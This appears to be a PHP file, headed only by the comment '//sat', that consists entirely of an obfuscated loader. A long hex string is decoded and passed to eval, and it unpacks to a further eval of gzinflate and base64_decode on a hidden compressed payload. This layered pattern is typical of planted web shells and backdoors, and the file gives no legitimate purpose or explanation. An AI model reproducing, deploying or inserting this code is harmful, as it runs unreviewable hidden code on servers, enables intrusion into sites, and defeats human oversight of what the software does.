//sat
$hex='3c3f706870206576616c28677a696e666c617465286261736536345f6465636f6465282737527a3765357059397666384662654d47334162556442673471746a4739764a54695a6d6b33536e4d326b2b5034537230694a597743593238582f6663792b67674c77303658532b2f545937572b4679376e6e66633835395147456d322f616461616d6f6a64676a53616f4c31614661467756426c69716a32764752564d64314561744453524b506832787a443175576151307350444d74527a5047584b5859334c4f784d3343304b52376f326c527a61424f3032625a6d476750626b53324867785a74684c67586d67327758474677316275364f753266333743364f52356a3964526762347446394c434834432f324b5841336b6e55624e2f6557657853566a2b6d6966335639772f7043424e41516f4b6c3647416543326d3155384f39392b4454536a6a554879675269756264454c674d763471566f6f46656476623357784a6e716e6459457932716e3557694f6a6a746e356c677a55466564616f5a6d4f3562736d466172374435716c536b674547674e54585742686d5046314532727a51783157666e4d64436a6c6c6f494e423176657a517a4a756a5932326f7a62796e54387836325261546a4964685936626a506b756d527233334244714d3775476553687462444b67446f566748447776564e535a5774465a575261557a54467a73525532387a4d7442337641547a536a4e6e635163356942763138375448496b4b66422b31686f657a3445782f42682f627576736a36485734536f616b43456f5339646d5842423956456d43756e7367596149516b4778723261543252362b313668505955505652733239567833616a4967577363557848306f667271354b46356270594d55424a327967436c4e736d734f564d3234366249786267353047784d645956624e6e7572775955426962505542767532645850534266364671577641442f75466c3545467576534566317975476f66696868535a4255365a41396944367453394a685861785870574e704a4f486763366b7148556b3136626775686c727241462b54717657365641746a713476536f565148616c58417245432f576754624347434f513230535546576b77384f526978562b7134514c774839492f713158513943694a414366683157705369414a4449477568615543756c58364e4d723353424b686e576a4370514e305153645950424b5071384f514a4151472b49642f512b32677632454d5871496c6c6641527767464d45757962384b43645768303449647169656849414d697a4245636976536772564935487847474155536b63676c6770686b3067626b5265345675755669485a4846455059716c4b3944725350363147395356516e6f3371556d7870513249536c64674f4b494e2b4758315742463947564d394a4f664f5359326c654b7730653442516731496d4e4e4968344d386966347a6d48396946673936692f554832503833764d516f6b7669556363787a3842584a4a6e6f766c3762744231774f5970344a75323130717341765a55346d70516a515971463848415457574e307574495165454e646a7651456a5358362b3370636566362b6f5348436a34633931422f474776454677684f3033304b45475177474546385563323541737150684275494f524565756f4c55727a594c57496844772b2f4a6c455258656e662f72687153722b51546665394133426532574a6c2f75425a374f6e41584e765a662f36563365734c39635831384d337350646f5075756433363953703045646d6268385741714f387145593870764a705935785939764e5175507a5076482f67786238754f56504a4974376647315a64375a3248723858544e5575486f3830347a352f654e767371495a6a6d6c5079425871587a3132446455794e665652752b426b3958466947766a525649746c6a546c4132517974346a6f424b417438426455714e5852754f75677436455746304536415345364143306a516b412f325769394f2b6d2b752f376a6f49546478304c52434c704771515161553534374a49463032786d3047473658335679527672517a52387450782b7138464b564647796b5332494357306d66665862307448544279496d2b4973633267364e6b6d346b4a514e36484465507a302f36583034514f6639742f327a732f37766b6334556756734e2f4e6139505033582b2b353531793850344e4665693262307a7437504867764959364835737a596c4f51764e4c5a32624f4d374d6270544c6378767a4a50584c64396747792f474b4f533162574d63794647586c7234663845532b55466473757937724f77322b782b544d7446456846384f4264545456393058686a47726170792f61534b4f35684b6c7551706b7336486a6b4e41552b623372326c6a536568427365634e556f4366776774517968667868597855754d6e34656934556a7436346249724730347a54476c75616468714c766e3742317153304f716d3464593053333452596b74727275736152645956547553726549706549766a39656c6473306971484543542f6738364e69666b56577739653832673057764a336f62756866316570564a62386c3465414945534d4a52514e6d714c6a594c737233356f502f686a67654f3168704a75793079413657764a7a3734357171426b51793233777349476a4f4f62555262696b52644d4e4c5a70476d6f357648377a616f3248416b416b2b6457756f3234636831467a596167697a6577536d306c546b6964326379616f4b6855794446384e32714b444b306c4744416a7354563774336d46717956716b305861772b61383445437463773971443273424d30475247394756536e35616b2f364174516b787766693074657a2b59666e6b545a48356c5132466c426178415a4a793737496939616348656e7163366b495651712f3467617965323936524f794b34574b46524f4b6331493145703048525a466a48476b614768596958774d4b4249397359666b687a4c656e565265747931386432505034726c5a3866346f4d69516a37506e4c6544476d554d6a507857634f79574248725379696276624378436a482b54475064346862596f546a6b78747559414b567158354543416346754d777430487850434b4a547377386966594d347867617a525a7477434853735445773068444a456f47556846463739637750585a57776a357a566564424c7a6b6a3862474f635447654d706c4f5962704d6e41646c44684f6d692f6f4874306c304e332f36556755784359364f6531667257374f2b36764c4e3565393772713965374b2b365a32764c762f54586664495a44483846375a4a65575755634c73586d394b4e7053575a53764d68494a6e446a4c413055574547317970724365427249394a616f334c4c45587646364e62314c417556457839474b65746b46417a6e2b74436c6a2f5a4a314c466e54662b334e65786339643965493953414f57456e784d724b6a647a66415948377658765a59322b424f57436a412b3456303431494944796a42434e54562b6c4d504546397953714e66514a6c6d4c2f473861353366634f6f7a487074492b36766f4b3471763357485a6a493445562b383561493945726f735931757862754d736c6969684b74487a466f674c6e2f32657456756f514c6d50487a382b6669775879365265564645434b69694c7361784d454165395a52735670716a645151553954576d6735494c6562724d7332742b48447531324a513261696b78386834324e63612f55746a68694f6d55536874686b7a532f547553474c55797962785159704c4b4855787275515352636868584e514d43685841394e556d67682b5732436a4b626b697334386361714f7539746d626b7152424530566f364156426e3456344c5a413459744f784c6e665746644e682b594c4f733853795a5859625239342b7475544b56334d6d4f304a4877324c33354f545343346d4230475737776466346e426233552b4e673673504e3555534544635664465a7a4f6455656251514b6a7933306c5658626b6c4e546630755568316e3347396352307659375067515649556b7a3779342f477a53324454414d6d557361597249424f4e4a736e44504275546330564765527952715a652b3859516b732f3769374e2b3979535a74544c6c72654d434a35516d33704c6d6c6c6d67594135433634747866327a4c56697874356e514b76474536326d6a424d594656686467654545636658465765673034616a4d41636b436e784c35714b547a435a627941524b7434444d4a6847533247476c4c66496e51387761466c73516d5870306d515443643347613649774971486448454431774c503958312f417949496249516c364849447558575a4142334c6d32394f7a3374554e5932526c7a573845667741612f67474e4d4c63706d644e61723868384b365a47537736525a52726b426b7653305132574b43756f6b6668486b742f684c52666d7a5a6e4f4269352f4a4970434d7678476f326e7549466b5937526f69633654374d4b58783877626a4c634a7266446d644e64426b4d7444596c694d5064597755724f76326a4b78696a64744d68614833336f79307a64515a524b64766259624d4c394e436c724f356b4c514a593355794e5171496b69714b7774446c757777673659544b615a52492f3152655738376d52484648575654494e4937364647363349655a6e444a69754a716c513856576f506c47467953714368385378456c6c5158526138584a727a6231767775433035547a7433712b30344e346e316633562f6d627745764154484e6e4e4e5a75794d734f794745486e414236636e70424d502f73367a2b546a796c306f512f463831445833525a686259707255636e66755236456f757050417369504a574a4d57656a79436e42764a625978745131326851722b696138686b4b48314f6871314d384c64672f737152693539667a4e353764782b73476d7a52385a4a6c384e752b646e463576595857676f6779326e53314748574752317848597939362f332f657572746c74504342354d7a7533346c665277394d6838516d2f6b6853496e6c794e705a522b4f7949586d5733474e7168467a6132574c627776635177314530725a6c4a46507a32474158506e716c6241482b414e577466414b6b384351436969494e7038426c6a6c59392b6249573453415a786b4f654a6534694c654d6930386146537548634c305572364b4a6d526c5938593642645a645574795534314872474f697832586e6576656c494e356a6a513345474e4c6642674853734f306b437851366e6d443256796d5a385a697369636b534476782b634b307a6e767438707534354d7743557a6e6a393756397168414631533035343949644e786b773856585664346b4e486d75786a452f45653058655865367a34336d426a3053784f575a67726d646b617572687173417241497955435a4854354656386b537972374b46507042704a7366346a752f6a614f62712f4364306c68317a794833493057475479702f4676324453522f67386634715170394235364a6779643736546b4b633743376b734a69335a2b4573636d5457746d344b79676a64784b512b552b4f5174635341596b466b75564d44332f6d4a342f545a45624b66463332787a656754586848616855786a4e664b36462b6d59654f454473485a7369674c384349687942794b505a4157457173327a6f2f3870394c3533304c6e64443751707854495649524c4238597456776e2b4634466c5a434272685072355638335975522f45323746622b546f6e4c59494e4f385431536a7330767835657853664d6b304237555a356f6d5445376538574d2f6f49684d4a4c2b64375a5a6c5975655759503072546b6f702b61644354563752564342765a38596f30356a746c2b735259696c5948314e79345178684a5853677472414a4d74586f623670627532724d6371662b467135764454643063464762775836345a54507051654c624d6d7a3473647437342b6c347838616e4237764d756f2f547a6a782b6c7735796a5650516d547949344e6673506b2f5848615333736931514e6b455a4c7452387857434e6a645a6931797849734b4961706d79734f3356314f3274386e7831357478394b787752587569795768576441363755717a5643706f785453634c3975493077796e574c676e2b79582f6e4a6c33334e454234674b6f436c704a5345714b71344167694a7447415073347163496e44354f64446c566b4466666e3256694a47336c36377257366c79656e6c2b7750486d3936786e6a377938644d654c4b675a303857504a3854626e4e332b7445463248647875793835706c565555564466444f68753657435171535733626a6a7959753178316f45552f7754366d626636336b414d6e33364f6b576559444a7a2b53307a667856535a6537425074597152507867516b2f7a6f6147443876614f426b546361694965337554763954305944613566797a2f7278355a2b56576635744d4d7a2b594b653063675a65736b36517438393339736b565335456c4a387374314c5a6738716b7a7179306d63452b624a79592b652b70492b355a3564456f6a4d3341443336452f74566e585569626156357832624172625a42594176556f6463775a6c6439424133374b33373468744b5935324731316676752f6c7361424c4463615a4261503532737837326e6b5468614b624e73367a6c4a33445a35374c4c3562504d366e77746a722f72676566664a4b31476c4338516566643333726f4e76753455365333494e44655636642f37745337546e74663943352f3237333353666636435a783333317a6e366678334f7557564c39636d4855506e36564256495133754730794846704778372f6673696c51487044424e7a59587a715566444d6b394c4643595147686b6d5058415550755542756c74747535425655545648554b554a6b307946376f726f38644662626a716d39316b78316e766c416b44704778644b4d5564497869734779627364487a387942346878582b7a4945563558685841565a6e734642627279454a2b5a3343644b494a715467335a734e71566c39686d5266474538514262384d75714c6d506a694e2f394f6f5658662b34773353504b7a364a75334b6f4371433271356f444262486234706d446c634c722b32317459546e3849506d6a422f73663043744f2b6568586242586d3165314e61715147556b564d52614d3139332b756f6e563741505544586679436e596e5462426e337577424b6d55536338444a42595244317234375855654e577731524b68476249723931396450566a4b4943384f4a76455045384b44592f583230756f58374848484b48546848515439396c57325843654c704b584c4c54304257316d737165524a6c77727547614a7279307334572b52426945506d464b4d78374559684d453933586e624b79586d6156467a79416e636d6f716c6c2f4c6347515a736a4c4a53423966497a2b484937524c482b2f386f77666f616c736b374c375470546c6a4833676c61662f5851577977674c6c4c4e34536b753539474e6e4a4530564f725143544b384e5569746b6e4436456d2f4773436a67615451792f632b4b396b5034744a375130662f534742422b6a614763746e2f3438392f3438394f385365544d51346a4c6a33704b413244694e376c77735a474f65626c6d50782b4f38645362506d324474736a4766734d6b7961475143666d6c6b76345a637a466c786144766c657a544f7470486d7569504e75597554783367554d4266664e6e4731575a324a526651486e2f3342366e5864465a724b74304b4556745363687150397742506c455342354a3843546573544a65564d7a35476937594d4f36374e433333343074706f586c664d57654c35765545642f55702b53544d346b383874794f345853775231427476396b62334d3453452f597a594636504463735a746a3152533059327a304d58305048392f647062576a587a577a6a32536a6d784c6154506c7376784a76756648706a6e5773547a54625071684e394a5731725768586637305a59367452626e4b56336e42752b476e6d73462f736f6e76784c303645554776714d596e514b71626333576b7978614f3448632f4e6c4375384456653947377934642b30656f466a65424a6a696a78397a5848396d6f5a54664844346d59572f59734d3577534e3572704d7a452b523941647775634f5462445556656468794c593068495959704e6148464d45485132747964586a7578676a6d454f3444396350436a77597a4166506767694238496b41414e68386f303761466b576f2b384462497269663558577658592f4d4c6a325078383950585a642b4254306b624675446d5764466a3172477542596a71564e755a6c4d367571524358304f304558332b7066543837663941586b56696535356b43507a5046756b32312b623334657873444f336a44585335563530435a4173384837613846695a664352794d4a566e48417673736765555259374d4b74444a365758767a58582f386f2f4256652b6965396d465332686c4877373435543842384e315a2f2f58673957583354513839756a666e2f61762b35585630543831643544716b314f503469786b4d712b4d384d563257595233543977455841685353437a465430344576414f2b46615a456437495841455353425a36355350516d6b3153654d49697a514247614550694f39614164586d4c3350357253396a2b59672f3953685566532b6e524f52666b476d644372454555427357696f4175683935694e4f657a2b49696c6a563375334d523473334978647543484b346b334c58464b48734759552b5a5742776756346d4c30342b4d3876546e705a44427078484c4a396b306a546365325261494743762b314e626d4353326f4c706a5666672b7a4c77545059775850586b56344962757533357558536b356561456d6435645746316574423549777764416946466734653736504b2f5a744b70654b2b73755a64527177364a3476624e704d3051674f59756d744d3355524d6568354d5232744d52346d59536e6b775357744d55694b6d5952354d7454576d5769496d4e51386d6359314a544d536b354d456b7244454a695a686d544e376f5373486e7365447744416233696e4246494e526549584a367155464d455179634564444b6b5174366c774f30526b485844556365475a763268544941666a616658766d593031434c2b526b57386a4e634f516f7a5845746c754c594e77355661626f5972596e3647685444446f736553453875772f2f5136686d452f63732b44455370614449386a7858434f34506a472f54527936586f787777306b7a325a512b4e466f57545956427a736c794552596e6a4a705053335a734566594b76554d78615166693057764e554f32466d6d647a7241786469626b2f4f3571397931344b49674b6b744b6466492f582f79675767734a5456695a5461473869736b424b542f70395a42672b6970466e506f614f4137756b367a476b5053582f46773d3d272929293b3f3e';
$bin=hex2bin($hex);
eval(''.$bin);